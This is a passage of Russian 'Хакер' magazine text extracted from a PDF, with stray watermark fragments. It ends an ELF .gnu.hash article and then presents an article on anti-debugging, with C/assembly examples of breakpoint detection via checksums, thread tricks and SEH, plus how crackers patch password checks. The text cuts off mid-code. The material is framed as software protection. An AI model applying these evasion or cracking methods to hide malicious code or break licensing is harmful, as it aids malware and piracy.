Для определения конца той или иной цепочки значений GNU-хеша используется последний бит значения этого хеша. Если очередной GNU-хеш не является последним, то последний бит устанавливается в ноль, независимо от его реального значения. Если же очередной GNU-хеш последний в цепочке, то его последний бит устанавливается в единицу, опять же независимо от его реального значения.

Для примера заглянем в секцию .gnu.hash библиотеки libdl-2.31.so (не забывая при этом про обратный порядок следования байтов в памяти).

Секция .gnu.hash библиотеки libdl-2.31.so

Из рисунка видно, что в секции .gnu.hash библиотеки libdl-2.31.so размер массива backet — 27 элементов. При этом видим, что не все элементы заполнены и их значения равны нулю (заполненные элементы выделены красным цветом). Число символов, для которых не определены значения GNU-хешей (symbias), равно 28, число битовых масок — 2 (их значения равны

0x0400488000110298 и 0x9e08288340200012).

Количество элементов в массиве chain (выделен желтым цветом) равно 15 (то есть символов, для которых определены GNU-хеши, тоже 15). При этом есть одна цепочка из двух элементов. Остальные цепочки состоят из одного элемента (то есть общее количество цепочек — 14, что соответствует количеству заполненных элементов массива backet).

Если сложить значение symbias и число элементов массива chain, то должно получиться общее число символов в секции .dynstr. В нашем случае в результате этого арифметического действия получается 42, что соответствует числу символов секции .dynstr в файле libdl-2.31.so.

Все это работает следующим образом:

от символа, который нам необходимо найти, вычисляется GNU-хеш, после чего с помощью фильтра Блума проверяется его наличие в массиве chain. Фильтр Блума может дать ложноположительный результат, однако отрицательный вердикт однозначно говорит, что хеш искомого символа в секции .gnu.hash отсутствует;

при отрицательном результате работы фильтра поиск по хешам прекращаем, поскольку искомый хеш в цепочках массива chain отсутствует;

при положительном результате работы фильтра, исходя из результата взятия остатка от деления значения GNU-хеша символа на значение nbuckets, определяем, к какому элементу массива backet относится хеш искомого символа и, соответственно, в какой цепочке массива chain его нужно искать;

производится поиск хеша искомого символа в соответствующей цепочке (без учета последнего разряда, поскольку последний разряд значений хешей в цепочке используется в качестве признака конца цепочки);

если в цепочке находится хеш, равный хешу искомого символа, то исходя из значений индекса этого хеша в цепочке номера элемента массива backet, соответствующего этой цепочке, а также с учетом значения symbias, определяется индекс искомого символа в секции .dynsym;

если в цепочке хеш искомого символа отсутствует, то фильтр Блума дал ложноположительный результат и GNU-хеш искомого символа в секции . gnu.hash отсутствует.

Принцип работы хеш-таблиц старого стиля (секция с названием .hash), в общем-то, такой же, за исключением отсутствия фильтра Блума и соответствующих предварительных проверок на наличие или отсутствие нужного хеша. Если хочешь поэкспериментировать с таблицами старого стиля, то можно воспользоваться опцией компоновщика --hash-style=sysv или --hash- style=both (во втором случае будут сгенерированы обе таблицы — и старого, и нового стилей). К примеру, если скомпоновать нашу библиотеку из предыдущей статьи следующим образом, то увидим в получившемся файле две сек-

ции: .hash и .gnu.hash.

ld --hash-style=both -shared example_lib.o -o libdynamic_example_

hash.so

Секции .hash и .gnu.hash в библиотеке libdynamic_example_hash.so

ВЫВОДЫ

Сегодня мы достаточно серьезно погрузились в глубины ELF-файлов. Тем не менее ряд моментов мы все равно обошли вниманием. В частности, осталось за кадром внутреннее устройство секций .eh_frame и eh_frame_hdr, которые организуют работу с исключениями. Да и в целом было бы неплохо рассмотреть процессы загрузки и выполнения ELF-файлов в различных условиях. Поэтому переваривай прочитанное в сегодняшней статье и жди следующей. Надеюсь на скорую встречу на завершающем этапе исследования устройства ELF-файлов.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЗАТРУДНЯЕМ

АНАЛИЗ

ПРОГРАММ

Крис Касперски

Известный российский хакер. Легенда ][, exредактор ВЗЛОМа. Т акже известен под псевдонимами мыщъх, nezumi (яп. , мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Юрий Язев

Широко известен под псевдонимом yurembo.

Программист , разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com

Под хакерством обычно понимают изучение дизассемблированного кода приложений с целью их взлома. Сегодня мы займем противоположную сторону баррикад — изучим приемы защиты. Настала пора основательно разобраться в устройстве используемых хакерами инструментов, функциональной поддержке со стороны операционной системы и процессора, чтобы противостоять взломщику, скрыть свои секреты и не стать легкой наживой для злоумышленника!

Пятнадцать лет назад эпический труд Криса Касперски «Фундаментальные основы хакерства» был настольной книгой каждого начинающего исследователя в области компьютерной безопасности. Однако время идет, и знания, опубликованные Крисом, теряют актуальность. Редакторы «Хакера» попытались обновить этот объемный труд и перенести его из времен Windows 2000 и Visual Studio 6.0 во времена Windows 10 и Visual Studio 2019.

Ссылки на другие статьи из этого цикла ищи на странице автора.

Три основных этапа взлома защитных механизмов — это локализация кода защиты в коде приложения, анализ алгоритма его работы и собственно сам взлом. Все этапы одинаково важны: если, например, не будет пройден второй из них — за взлом нечего браться.

Можно классифицировать защиты по типу «этапа преткновения». Например, шифры и криптозащиты опираются на третий этап — алгоритм их работы обычно общедоступен, хорошо документирован и в общем случае известен хакеру, но это не сильно облегчает взлом (разве что упрощает написание переборщика). Механизмы с использованием регистрационных номеров, напротив, делают упор на засекречивании алгоритма генерации, а также затруднении его поиска и анализа в коде программы (еще бы, зная алгоритм, можно легко написать кейген).

Однако даже если защита построена с применением криптографических методов, скажем шифрует тело критически важных функций криптостойким методом по непомерно длинному ключу, она может быть «отвязана» от ключа, например копированием дампа программы после расшифровки. Еще проще — распространять программу вместе с ключом (обычная тактика пиратов). Один из способов воспрепятствовать такому беспределу — заложить в ключ зашифрованную привязку к компьютеру или проверять «чистоту» копии через интернет (можно даже и втихомолку — скрыто от пользователя, хотя это считается дурным тоном). Но что помешает хакеру, владеющему лицензионной копией программы, расшифровать ее своим ключом и выкусить все проверки чего бы там ни было?

Таким образом, любая защита должна уметь эффективно препятствовать

своему обнаружению, анализу, попутно

отравляя жизнь дизассемблеру

и отладчику — основным инструментам

взломщика. Без этого защита

не защита.

 

В эпоху царствования MS-DOS в основном использовались программы реального режима, которые монопольно распоряжаются процессором, памятью и аппаратурой, в любой момент беспрепятственно переходят в защищенный режим и возвращаются обратно. Отладчики в то время (еще хлипкие, немощные, нежизнеспособные) легко обманывались, срубались и завешивались тривиальными приемами программирования, активно используемыми защитами. Другими словами, дизассемблеры тогда были очень глупыми и впадали в ступор от одного только вида зашифрованного или самомодифицирующегося кода. Словом, настоящий рай для разработчиков защит.

Сегодня все изменилось. Прежде всего, прикладной программе под Windows особо выделываться никто не даст. С защищенным режимом теперь слишком не разгонишься — используй прозаические непривилегированные инструкции, а о разных хитростях не помышляй. Та же небольшая часть защитных приемов, что может функционировать даже в такой ориентированной на пользователя среде, наталкивается на сильно поумневшие отладчики и дизассемблеры.

Аппаратная поддержка отладки в процессорах 386+ в совокупности с виртуальным режимом работы, привилегированными инструкциями и виртуальной памятью позволяет создавать отладчики, которые практически не могут быть обнаружены прикладной программой, и уж тем более она не в состоянии получить над ними контроль.

Существуют и отладчики-эмуляторы, фактически настоящие виртуальные машины, самостоятельно исполняющие код, вместо того чтобы пустить его на «живой» процессор. При этом эмулятор всегда исполняется в режиме супервизора даже по отношению к отлаживаемому коду нулевого кольца. У защиты очень мало шансов обнаружить отладчик или помешать его работе (да и то если эмулятор реализован с ошибками).

Появились и интерактивные дизассемблеры (та же IDA), которые в силу тесного взаимодействия с пользователем (в смысле хакером) могут обходить любые мыслимые и немыслимые ловушки, оставленные разработчиком.

Даже на уровне нулевого кольца в Windows очень трудно что-либо скрыть. Чтобы обеспечить совместимость со всем парком Windows-подобных операционных систем, приходится использовать только документированные возможности. Строить в «окнах» защиту — все равно что пытаться заблудиться в парке. Будь там хоть миллион деревьев, все они геометрически правильно расположены и обильно увешаны табличками «Выход — там».

Таким образом, надежно противостоять изучению программы очень трудно, если вообще возможно. Однако многие приемы против отладчиков и дизассемблеров просто интересны сами по себе и достойны того, чтобы рассмотреть их в этой статье.

ПРИЕМЫ ПРОТИВ ОТЛАДЧИКОВ Немного истории

Раньше всех появился debug.com — пародия, которая отдаленно напоминает отладчик, зато входит в штатную поставку MS-DOS. Сегодня этот инструмент годится разве что для забавы и изучения ассемблера. Впрочем, и тогда от него мало кто был в восторге, и новые отладчики росли как грибы после дождя. Правда, большинство из них недалеко ушло от своего прототипа, отличаясь от оригинала разве что интерфейсом.

Это было золотое время для разработчиков защит. Стоило лишь «запереть» клавиатуру, запретить прерывания, сбросить флаг трассировки, и отладка программы становилась невозможной.

Первые мало-мальски пригодные для взлома отладчики появились только после оснащения компьютеров процессором 80286. В памяти хакеров навсегда останутся AFD PRO, написанный в 1987 году AdTec GmbH, знаменитый Turbo Debugger, созданный годом позже братьями Крисом и Ричем Вильямсами, первый эмулирующий отладчик Сергея Пачковски, написанный, правда, с большим опозданием — в 1991 году. Разработчики защит крякнули, но выдержали — эти отладчики по-прежнему позволяли отлаживаемой программе захватить над собой контроль и очень плохо переносили «извращения» со стеком, экраном, клавиатурой...

Ситуация изменилась с выходом процессора 80386 — резкое усложнение программного обеспечения и, как следствие, огромные сложности с его отладкой диктовали необходимость наличия развитых отладочных средств в самом процессоре. И в 386 они появились! С этого момента разработчикам защит стали наступать на пятки.

Масла в огонь подлила NuMega, выпустившая в конце восьмидесятых годов свой замечательный SoftICE, пользовавшийся у хакеров огромной популярностью, а позже портированный на Windows 9x и Windows NT. Он долгое время оставался бесспорным фаворитом (хотя не без конкуренции). Впрочем, неверно было бы считать, что NuMega — криминальная фирма, а SoftICE исключительно хакерский продукт. Этот отладчик предназначен в первую очередь для разработчиков драйверов и для легальных исследователей операционной системы (не разбираясь во внутренностях ОС, с драйверами особо не разгонишься).

Но так или иначе, SoftICE задал копоти всем защитам и их разработчикам. Пускай он не был полностью невидимым для отлаживаемых программ Stealthотладчиком, имел ряд ошибок, позволяющих себя обнаружить, и давал защите возможность вырваться из-под контроля, но в умелых руках отладчик справлялся со всеми этими ограничениями и обходил заботливо расставленные «капканы». И с каждой версией SoftICE противостоять ему становилось все труднее и труднее (старые ошибки устранялись быстрее, чем вносились новые).

Постепенно мода на антиотладочные приемы сошла на нет и уж совсем заглохла под победное шествие Windows XP SP3. Поскольку одновременно

сее выходом SoftICE перестал корректно работать, полностью завешивая систему без возможности дальнейшего функционирования. Все указывает на то, что такой же эффект был в Windows Vista, вышедшей годом ранее, но на ней я самолично SoftICE не проверял.

Ктому моменту NuMega уже была приобретена компанией Compuware, и SoftICE распространялся как часть пакета для разработки драйверов DriverStudio. Последняя версия SoftICE была выпущена в апреле 2006 года. Service Pack 3 для Windows XP появился двумя годами позднее.

Так как SoftICE использовал недокументированные возможности Windows,

свыходом новой версии винды он переставал работать. Как было сказано ранее, после 2006 года SoftICE перестал получать обновления, затем был продан компании Micro Focus и ею же окончательно похоронен. Вероятно, главную роль в смерти SoftICE сыграли деловые разногласия создателей отладчика

сMicrosoft, а не технические проблемы, как принято считать. Похоже, SoftICE использовал какие-то особые механизмы операционной системы, которые Microsoft посчитала «неудобными».

При срабатывании поставленной точки останова SoftICE завешивал систему, позволяя пользователю (в данном случае хакеру) продолжать взаимодействовать с компьютером через свою прослойку между аппаратным обеспечением и ОС. Поэтому после завешивания системы взломщик мог спокойно возобновить ее работу, а она, в свою очередь, о зависании даже не подозревала. У нее даже отставало системное время на тот период, пока она находилась в «отключке» — в зависшем состоянии.

Свято место пусто не бывает. В качестве отладчика пользовательского уровня популярным стал OllyDbg. Однако сейчас по данным с официального сайта разработка отладчика заморожена.

Предприимчивые китайцы выпустили отладчик уровня ядра под названием Syser, по своим возможностям во многом схожий с испустившим дух SoftICE. Только энтузиазма хватило ненадолго, и уже совсем скоро разработка была прекращена. Сейчас его не найти даже на файловых помойках.

Зато Microsoft с течением времени превратила свой захудалый отладчик WinDbg в действительно мощный и полезный для системных программистов и хакеров инструмент. Грубо говоря, WinDbg представляет собой оболочку для отладки с помощью движка dbgeng.dll, который включен непосредствен-

но в операционную систему. WinDbg может использоваться как отладчик либо пользовательского режима, либо режима ядра, но не одновременно.

Вместе с гибелью SoftICE распространилось совершенно нелепое убеждение, что под Windows на прикладном уровне дернуть хвост человеку

сотладчиком невозможно. Это вызывает ухмылку профессионалов, эпизодически встраивающих разные ловушки в свои программы — так, больше для разминки (дабы мозги жиром не заплыли), чем для серьезной борьбы

схакерами.

Бороться с хакерами при современном уровне средств анализа приложений несколько наивно — те и от тигра хвост оторвут. Но сегодня, кроме хакеров, серьезную угрозу представляют и вчерашние желторотые пользователи, начитавшиеся справочных руководств о том, «как ломать программы» (благо сейчас они доступны всем и каждому), и теперь только и ищущие, на чем бы испытать свою силушку богатырскую.

Как работает отладчик

Бороться с отладчиком, не представляя себе, как он работает, было бы по меньшей мере некультурно. Поэтому ниже мы рассмотрим базовые принципы, лежащие в его основе. Это изложение не является всеобъемлющим, тем не менее оно позволяет составить общее представление о вопросе. Технические подробности исчерпывающе изложены в 17-й главе Debug, Branch Pro le, Tsc, And Resource Monitoring Features технического руководства Intel 64 and IA32 Architectures Software Developer’s Manual, Volume 3B: System Programming Guide, Part 2 (PDF), которое бесплатно распространяет фирма Intel.

Все отладчики можно разделить на две категории: первые используют отладочные средства процессора, а вторые самостоятельно эмулируют процессор, полностью контролируя выполнение «подопытной» программы.

Качественный эмулирующий отладчик отлаживаемый код ни обнаружить, ни обойти не может, но полноценных эмуляторов современных Core-процес- соров на сегодняшний день нет, и вряд ли они появятся в обозримом будущем.

Да и есть ли смысл их создавать? Микропроцессоры линейки Core предоставляют в распоряжение разработчика богатейшие отладочные возможности, позволяющие контролировать даже привилегированный код! Они поддерживают пошаговое исполнение программы, отслеживают выполнение инструкции по заданному адресу, контролируют обращения к нужным ячейкам памяти (или портам ввода-вывода), сигнализируют о переключениях задач и так далее.

В общей сложности микропроцессоры серии x86, начиная с модели x386, содержат восемь отладочных 32-битных регистров. В обновленной архитектуре x86-64 количество отладочных регистров не изменилось, однако они увеличились в размере до 64 бит.

Четыре отладочных регистра DR0 — DR3 хранят линейные адреса четырех контрольных точек, а управляющий регистр DR7 содержит для каждой из них условие, при выполнении которого процессор генерирует исключение INT 0x1, передавая управление отладчику. Всего существует четыре различных условия: прерывание при выполнении команды, прерывание при модификации ячейки памяти, прерывание при чтении или модификации, но не исполнении ячейки памяти и прерывание при обращении к порту ввода-вывода.

Отладочные регистры для линейных адресов точек останова в зависимости от архитектуры процессора имеют размеры 32 или 64 бита.

Регистры DR4 и DR5 зарезервированы для использования в будущем. Флаги регистра DR6 устанавливаются в зависимости от происходящих исключений. Например, первые четыре флага устанавливаются в зависимости от срабатывания соответствующих точек останова в регистрах DR0 — DR3. Флаги регистра DR7 позволяют включать или отключать установленные в регистрах DR0 — DR3 точки останова, а также определять условия срабатывания прерываний.

Регистры отладки в процессорах на архитектуре IA-32

Регистры отладки в процессорах на архитектуре AMD64

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

ЗАТРУДНЯЕМ АНАЛИЗ ПРОГРАММ

Если бит трассировки регистра флагов установлен, то после выполнения каждой машинной инструкции автоматически генерируется отладочное исключение INT 1 и управление передается отладчику. Отлаживаемый код может обнаружить трассировку анализом регистра флагов, поэтому для обеспечения собственной невидимости отладчик должен распознавать команды чтения регистра флагов и эмулировать их выполнение, возвращая нулевое значение флага трассировки.

Следует обратить внимание на одно важное обстоятельство: после выполнения команды, модифицирующей значение регистра SS, отладочное исключение не генерируется! Отладчик должен уметь распознавать такую ситуацию и самостоятельно устанавливать точку останова на следующую инструкцию. В противном случае войти в процедуру, предваренную инструкцией POP SS, автоматический трассировщик не сможет:

PUSH SS

POP SS

CALL MySecretProc

Не все современные отладчики учитывают эту тонкость, и такой прием, несмотря на свою архаичность, может оказаться далеко не бесполезным.

Установкой специального бита можно добиться генерации отладочного исключения при всяком обращении к отладочным регистрам, которое возникает даже в том случае, если их пытается прочесть (модифицировать) привилегированный код. Грамотно спроектированный отладчик может скрыть факт своего присутствия, не позволяя отлаживаемому коду себя обнаружить, какие бы ни были у него привилегии. Правда, если «подопытный» код отлаживает сам себя, задействовав все четыре контрольные точки, отладчик не сможет работать.

Если бит Т в TSS отлаживаемой задачи установлен, то при каждом переключении на нее будет генерироваться отладочное исключение до выполнения первой команды задачи. Чтобы предотвратить собственное обнаружение, отладчик может отслеживать всякие обращения к TSS и возвращать программе подложные данные. Необходимо заметить: Windows NT по соображениям производительности не использует TSS (точнее, использует, но всего один) и эта отладочная возможность для нее совершенно бесполезна.

Программная точка останова — единственное, что нельзя замаскировать, не прибегая к написанию полноценного эмулятора процессора. Она представляет собой однобайтовый код 0xCC, который, если его поместить в начало инструкции, вызывает исключение INT 0x3 при попытке ее выполнения. Отлаживаемой программе достаточно подсчитать свою контрольную сумму, чтобы выяснить, была ли установлена хоть одна точка останова или нет. Для достижения этой цели она может воспользоваться командами MOV, MOVS, LODS, POP, CMP, CMPS или любыми другими, ни один отладчик не в состоянии их все отследить и эмулировать.

Настоятельно рекомендую использовать программные точки останова в тех и только в тех случаях, когда аппаратных уже не хватает. Как мы увидели выше, в процессорах x86-64 имеется четыре аппаратные точки останова. Много это или мало — зависит от случая и отлаживаемой программы. Однако практически все современные отладчики всегда устанавливают программные, а не аппаратные точки останова. Это обстоятельство может быть с успехом использовано в защитных механизмах, примеры реализаций которых приведены в разделе «Как противостоять трассировке».

Обработка исключений в реальном и защищенном режимах

Когда возникает отладочное исключение (как, впрочем, и любое другое), процессор заносит в стек регистр флагов, адрес следующей (или текущей —

взависимости от рода исключения) выполняемой инструкции и лишь затем передает управление отладчику.

Вреальном режиме флаги с адресом возврата заносятся в стек отлаживаемой программы, поэтому факт отладки обнаружить очень просто — достаточно контролировать целостность содержимого, лежащего выше указателя стека. Или, как вариант, установить указатель на его вершину, тогда добавление новых данных в стек окажется невозможным и отладчик не сможет функционировать.

Иная ситуация складывается при работе в защищенном режиме — обработчик исключения может находиться в своем собственном адресном пространстве и не использовать никаких ресурсов отлаживаемого приложения,

втом числе и стека. Грамотно спроектированный отладчик защищенного режима ни обнаружить, ни блокировать принципиально не может даже привилегированный код, исполняющийся в нулевом кольце. Сказанное справедливо для всех версий Windows семейства NT.

Как хакеры ломают программы?

Вскрыть защитный механизм в общем случае не составляет проблемы. Куда сложнее найти этот самый механизм в коде ломаемого приложения. Сегодня мало кто использует для этой цели автоматическую трассировку — на смену ей пришли аппаратные контрольные точки.

Пусть некая защита запрашивает пароль, затем каким-то образом удостоверяется в его подлинности (например, сравнивает с оригиналом) и в зависимости от результатов проверки передает управление соответствующей ветке программы. Вскрыть такую защиту взломщик может, даже не вникая в алгоритм аутентификации! Он просто введет первый пришедший ему на ум пароль (необязательно совпадающий с правильным), найдет его в памяти, установит контрольную точку на первый символ строки своего пароля, дождется «всплытия» отладчика, отследившего обращение к паролю, выйдет из сравнивающей процедуры и «подправит» условие перехода так, чтобы управление всегда получала нужная ветвь программы.

Время снятия подобных защит измеряется секундами, и обычно такие программы ломаются раньше, чем успевают дойти до легального потребителя. К счастью, этому можно противостоять!

Как защитить свои программы?

Откуда бы ни бралась ключевая информация — из реестра, файла или с клавиатуры, взломщик может практически мгновенно локализовать ее местоположение в памяти и установить контрольную точку. Помешать этому нельзя, но не составит труда подложить хакеру сюрприз — пусть ключевая информация не анализируется сразу же после получения, а передается в качестве аргумента множеству функций, которые что-то с ней делают и затем передают другим функциям, а те, в свою очередь, следующим.

Защитный механизм может быть встроен во что угодно, хоть в процедуру открытия файла или расчета зарплаты. Не стоит делать явных проверок, пусть лучше в случае вызова функции с неверной ключевой информацией она возвратит неправильный результат, но не сигнализирует об ошибке. Взломанная программа на первый взгляд будет исправно работать, и далеко не сразу выяснится, что работает она неправильно (например, выводит на экран одни числа, а на принтер — совсем другие). А чтобы обезопасить легального пользователя от ошибочного ввода пароля, достаточно в одном месте явно проверить его контрольную сумму, которая не дает взломщику никакой информации об истинном значении пароля.

Таким образом, защита как бы «размазывается» по всей программе, буфера с ключевыми данными многократно дублируются, и на отслеживание обращений у взломщика не хватит ни контрольных точек, ни терпения для анализа огромного объема манипулирующего с ними кода. Будет еще лучше после проверки ключевой информации эти же самые буфера использовать для хранения служебных данных, обращаться к которым по возможности максимально часто. Это не позволит взломщику быстро отличить защитный механизм от прочего прикладного кода.

Поскольку большинство взломщиков ставит контрольную точку на начало буфера, имеет смысл поместить в первые четыре байта ключа «заглушку», обращения к которой не происходит вовсе (либо с ней манипулирует имитатор защиты, направляя хакера по ложному пути).

В такой ситуации взломщику ничего не останется, кроме как, затарившись пивом, плотно засесть за кропотливое изучение всего кода программы, прямо или косвенно манипулирующего ключевой информацией (а это многие мегабайты дизассемблерного листинга!). Если критическая часть кода зашифрована, причем в процессе работы программы не расшифровывается полностью (при выходе в каждую функцию она расшифровывается, а при выходе зашифровывается вновь), хакер не сможет получить готовый к дизассемблированию дамп и будет вынужден прибегнуть к трассировке. А вот тут его будет ждать второй сюрприз!

Как противостоять трассировке

Принципиальная возможность создания подлинно «невидимых» отладчиков остается гипотетической — большинство из них позволяет обнаружить себя даже непривилегированному коду.

Наибольшие нарекания вызывает использование однобайтового кода 0xCC (инструкция INT 0x3) для создания точки останова вместо поручения той же задачи специально для этого предназначенным отладочным регистрам про-

цессора. Так поступают WinDbg, SoftICE, Turbo Debugger, Code Viewer

и отладчик, интегрированный в Microsoft Visual Studio. Причем последний неявно использует точки останова при пошаговом прогоне программы, помещая в начало следующей инструкции этот пресловутый байт 0xCC.

Тривиальная проверка собственной целостности позволяет обнаружить факт установки точек останова, свидетельствующий об отладке. Не стоит использовать конструкции наподобие

if (CalculateMyCRC() != MyValidCRC) {

printf("Hello, Hacker!\n");

return;

}

Их слишком легко обнаружить и нейтрализовать, подправив условный переход так, чтобы он всегда передавал управление нужной ветке программы. Лучше расшифровывать полученным значением контрольной суммы критические данные или некоторый код.

Простейшая защита, реализованная в демонстрационной программе cipherString, может выглядеть так:

#include <iostream>

int main()

{

// Зашифрованная строка Hello, Free World!

char s0[] = "\x0C\x21\x28\x28\x2B\x68\x64\x02\x36\x21\x21\x64\

x13\x2B\x36\x28\x20\x65\x49\x4E";

_asm

{

BeginCode: // Начало контролируемого кода

pusha

// Сохранение всех регистров общего назначения

lea

ebx,

s0 // ebx = &s0[0]

GetNextChar : // do

XOR

eax,

eax // eax = 0;

LEA

esi,

BeginCode // esi = &BeginCode

LEA

ecx,

EndCode // Вычисление длины...

SUB

ecx,

esi // ...контролируемого кода

HarvestCRC : // do

LODSB //

Загрузка очередного байта в al

ADD

eax,

eax // Вычисление контрольной суммы

LOOP HarvestCRC // until (-cx > 0)

xor

[ebx], ah // Расшифровка очередного символа строки s0

inc

ebx // Указатель на следующий символ

cmp[ebx], 0 // until (пока не конец строки)

jnz

GetNextChar // Продолжить расшифровку

popa // Восстановить все регистры

EndCode

: //

Конец контролируемого кода

NOP

// Safe Breakpoint

}

 

 

std::cout << s0; // Вывод строки на экран

return 0;

}

Обрати внимание, что данный код не будет компилироваться для платформы x64 компилятором Visual C++, поскольку в нем отсутствует поддержка ключевого слова _asm. Тем не менее для x86 он построится без проблем. Это не значит, что для x64 нельзя писать программы на C/C++, содержащие ассемблерные вставки. Однако в таком случае их придется оформлять в виде процедур в отдельных файлах *.asm. В рассматриваемом случае разница между платформами для нас некритична, так как в наши цели не входит дизассемблирование расшифровщика.

При нормальном запуске на экране должна появиться строка «Hello, Free World!».

Расшифрованная строка

А под отладчиком при наличии хотя бы одной точки останова, установленной в пределах от BeginCode до EndCode, мы увидим следующее.

Установлена точка останова

На экране появится бессмысленный мусор.

Вместо стройного приветствия программа вывела бессмысленный набор символов

Дополнительная защита

Можно усилить защиту, поместив процедуру подсчета контрольной суммы в отдельный поток, занимающийся (для сокрытия своей деятельности) еще чем-нибудь полезным, так, чтобы защитный механизм по возможности не бросался в глаза.

Потоки вообще великая вещь, требующая к себе особого подхода. Человеку очень трудно смириться с тем, что программа может исполняться во множестве мест одновременно. Распространенные отладчики грешат тем, что отлаживают каждый поток по отдельности, но никогда два и более сразу. Приведенный ниже пример cipherString_thread показывает, как это можно использовать для защиты.

#include <stdio.h>

#include <string.h>

#include <process.h>

//Эта функция будет выполняться в отдельном потоке,

//ее назначение незаметно изменять регистр символов в строке,

//содержащей имя пользователя

void My(void* arg)

{

int p = 1; // Указатель на шифруемый байт

// Обрати внимание: шифровка выполняется не с первого байта.

Это позволяет обойти контрольную точку, установленную на начало

буфера

// Выполнять до тех пор, пока не встретится перенос строки

while(((char*)arg)[p] != '\n')

{

// Ожидать, пока очередной символ не будет инициализирован

while(((char *)arg)[p] < 0x20);

//Инвертировать пятый бит

//Это приводит к изменению регистра латинских символов на противоположный

((char*)arg)[p] ^= 0x20;

// Указатель на следующий обрабатываемый байт

p++;

}

}

int main(int argc, char* argv[])

{

char name[100]; // Буфер, содержащий имя пользователя

char buff[100]; // Буфер, содержащий пароль

//Забивка буфера имени пользователя нулями

//Некоторые компиляторы это делают за нас, но не все! memset(&name[0], 0, 100);

//Выполнять процедуру My в отдельном потоке

_beginthread(&My, NULL, (void *) &name[0]);

// Запрос имени пользователя

printf("Enter name: ");

fgets(&name[0], 66, stdin);

// Запрос пароля

Важно отметить: пока пользователь вводит пароль, второй поток получает достаточно квантов времени, чтобы изменить регистр всех символов имени пользователя. Это обстоятельство не так очевидно и не вытекает из беглого анализа программы, особенно при ее исследовании под отладчиком, плохо отслеживающим влияние отдельных компонентов программы друг на друга.

printf("Enter password: ");

fgets(&buff[0], 66, stdin);

// Сравнение имени и пароля c эталонными значениями

if (!(strcmp(&buff[0], "password\n")

Важно отметить: поскольку введенное пользователем имя было преобразовано, фактически происходит сравнение не strcmp(&name[0], "KPNC\n"), а strcmp(&name[0], "Kpnc\n"), что далеко не очевидно на первый взгляд.

|| strcmp(&name[0], "KPNC\n")))

// Правильные имя и пароль

printf("USER OK\n");

else

// Ошибка при вводе имени или пароля

printf("Wrong user or password!\n");

return 0;

}

На первый взгляд, программа ожидает «услышать» KPNC:password. Но так ли это на самом деле?

Неверная пара имени пользователя и пароля

А вот и нет! Верный ответ — Kpnc:password.

Правильная пара имени пользователя и пароля

Пока пользователь вводит свой пароль, второй поток обрабатывает буфер, содержащий его имя, и меняет регистр всех символов, кроме первого, на противоположный. Фокус состоит в том, что при пошаговой трассировке одного потока все остальные потоки выполняются независимо от него и могут произвольным образом вклиниваться в работу отлаживаемого потока, например модифицировать его код.

Взять потоки под контроль можно, введя в каждый из них точку останова, но, если потоков окажется больше четырех (а что мешает разработчику защиты их создать?), отладочных регистров на всех не хватит и придется прибегать к использованию опкода 0xCC, который защитному механизму ничего не стоит обнаружить!

SEH (структурная обработка исключений)

Дело осложняется тем, что большинство отладчиков очень плохо переносят программы со структурной обработкой исключений (SEH). Инструкция, вызывающая обрабатываемое исключение, либо «срывает» отладчик, выходя из-под его контроля, либо передает управление на библиотечный фильтр исключений. А он, прежде чем передать управление прикладному обработчику, вызывает множество своих служебных функций, в которых взломщику немудрено и «утонуть».

Впрочем, по сравнению с ранними отладчиками даже это большой прогресс, так как раньше они жестко держали некоторые прерывания, не позволяя программе самостоятельно обрабатывать, скажем, деление на ноль.

Вот пример защиты TryExcept, построенный на обработке структурных исключений:

#include <iostream>

#include <windows.h>

int main()

{

// Защищенный блок

__try

{

// Попытка деления на ноль

int a = 1;

int b = 1;

int c = 2 / (a - b);

